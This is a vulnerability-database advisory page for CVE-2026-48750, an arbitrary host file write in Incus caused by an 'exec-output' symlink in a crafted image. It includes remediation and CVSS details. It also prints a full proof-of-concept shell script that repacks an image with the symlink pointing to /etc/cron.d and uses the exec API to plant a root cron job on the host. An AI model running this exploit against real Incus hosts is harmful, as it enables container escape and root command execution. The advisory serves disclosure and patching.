Loading...
Skip to main content

CVE-2026-48750 — Vulnerability in...

CRITICAL

Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

Published June 26, 2026Updated July 7, 2026Source: osv

Summary

### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Advisory Timeline

  • First published June 26, 2026 (108 days ago).
  • Last revised July 7, 2026 — 11 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later
go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/lxc/incus/v7/cmd/incusd
go
All versions7.2.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-48750?
Incus has an arbitrary file write on host via `exec-output` symlink in crafted image This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-48750?
CVE-2026-48750 affects github.com/lxc/incus/v7/cmd/incusd. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-48750 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-73hr-m85f-64v9
GO-2026-5801

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies